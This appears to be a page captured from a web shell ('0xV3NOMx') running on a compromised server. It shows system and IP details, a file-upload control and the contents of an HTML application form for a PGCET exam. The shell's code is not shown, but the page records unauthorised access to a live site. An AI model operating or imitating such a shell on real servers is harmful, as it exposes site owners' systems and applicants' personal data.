0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.22.42.25


Current Path : /var/www/html/demo/rcub_pgcet1402/src/
Upload File :
Current File : /var/www/html/demo/rcub_pgcet1402/src/details_at649.html

<div id='app_no_div'><span id='app_no_div_span' ></span></div>
<div id="table_left_div">
		 <table id="table_content">
			<tr>
				<td id="table_col1">1. PGCET Centre
				</td>
				<td  id="table_col2">:
				</td><td  id="table_col2"><select id="fcntrcode" style="width:200px;">
									
									</select>
				</td>
			</tr>
			<tr>
				<td id="table_col1">2. Course / Subject applied for<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td><td  id="table_col2"><select id="fsubcode" style="width:200px;">
									
									</select>
				</td>
				 
			</tr>
			<tr>
				<td id="table_col1">3. First Name <font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fname" onblur='this.value=this.value.toUpperCase();' style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">4. Middle Name<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" onblur='this.value=this.value.toUpperCase();' id="fmotname" style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">5. Last Name<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" onblur='this.value=this.value.toUpperCase();' id="ffatname" style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">6. Date of Birth (dd/mm/yyyy)<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fdob" value='' maxlength=10 onkeypress="return acceptNumbersOnlyForModule(event);" onblur="if(trim(this.value)=='') this.value='';" style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">7. Gender<font color="red">*</font> 
				</td>
				<td id="table_col2">:
				</td>
				<td id="table_col3">Male:<input type="radio" name="fgender"  value="Male" checked="checked"/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Female: <input type="radio" name="fgender"  value="Female"/>
				</td>
			</tr>
		</table>
		<table id="upload_table">
			<tr>
			<td style="width:282px;"><font color="red"></font> 
			</td>
			</tr>
			<tr>
				<td style="width:282px;"><font color="red"></font> 
				</td>
				<td style="width:282px;"><font color="red"></font> 
				</td>
				 <td style="width:20px;">
				</td>
				<td style="">								
									 
				</td>
				
				<td>Select Photo:</td>
				<td><input type="file" id="student_entry_upload" onchange="DisplayUserSelectedPhoto()"  name="student_entry_upload" size="15"/></td>			
			</tr>
			</table>
		<table id="table_content">
			<tr>
				<td id="table_col1">8. Category<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><select id="fcatcode" onchange="AssignDDAmount();" style="width:200px;">
									
									</select>
									<input type="text" id="category_others" style="width:150px; display:none;"/>
				</td>
			</tr>
			
			<tr>
				<td id="table_col1">9. Registration Fee<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="famount" disabled=true; onblur="if(empty(trim(this.value))) this.value='0.0'" value='800' onkeypress="return acceptNumbersOnlyForModule(event);"   style="width:200px; text-align:right;font-weight:bold;"/>
				</td>
			</tr>
				<tr><td id="table_col1">10. Qualifying exam<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fqualexam"  style="width:200px;"/>
				</td>
			<tr><td id="table_col1">11. College<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fcollname"  style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">12. University<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
			 <td id="table_col3"><input type="text" id="funivname"  style="width:200px;"/>
				</td>
			</tr>
			<tr>
				<td id="table_col1">13. Full Postal Address of the &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;candidate<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><textarea id="fadd1" rows="2" col="1" style="width:200px;"></textarea>
				</td>
			</tr>
			<tr>
				<td id="table_col1">14. Pin<font color="red">*</font>
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fpincode" value='' maxlength=6 onkeypress="return acceptNumbersOnlyForModule(event);"    style="width:200px;"/>
				</td>
			</tr> 
			<tr>
				<td id="table_col1">15. Phone<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fphone" style="width:200px;"/>
				</td>
			</tr>
			
			<tr>
				<td id="table_col1">16. Mobile<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="fmobile" style="width:200px;"/>
				</td>
			</tr>
		
			<tr>
				<td id="table_col1">17. Email<font color="red">*</font> 
				</td>
				<td  id="table_col2">:
				</td>
				<td id="table_col3"><input type="text" id="femail" style="width:200px;"/>
				</td>
			</tr>
			</table>
			<!-- <table id="table_content">
			<tr>
				<td style="text-align:center;" colspan="3"><input type="button" value="Submit & Print" ><input type="button" value="Clear" onclick="ClearStudentEntry();">
				</td>
			</tr>
		</table> --> 
	
		 
	</div>
	
	<div id="table_right_div">
		<img src="img/default_photo.jpg" onchange="DisplayUserSelectedPhoto()" id="student_entry_photo">
	</div>
	<div style='clear:both;'>
		<div class='submit_div' id='save_div'>
		<div class='submit_div_button'  onclick="saveStudentEntry();" ><div class='button_text'>Submit</div></div>
		<div class='submit_div_button' onclick="ClearStudentEntry();"><div class='button_text'>Clear</div></div>
		</div>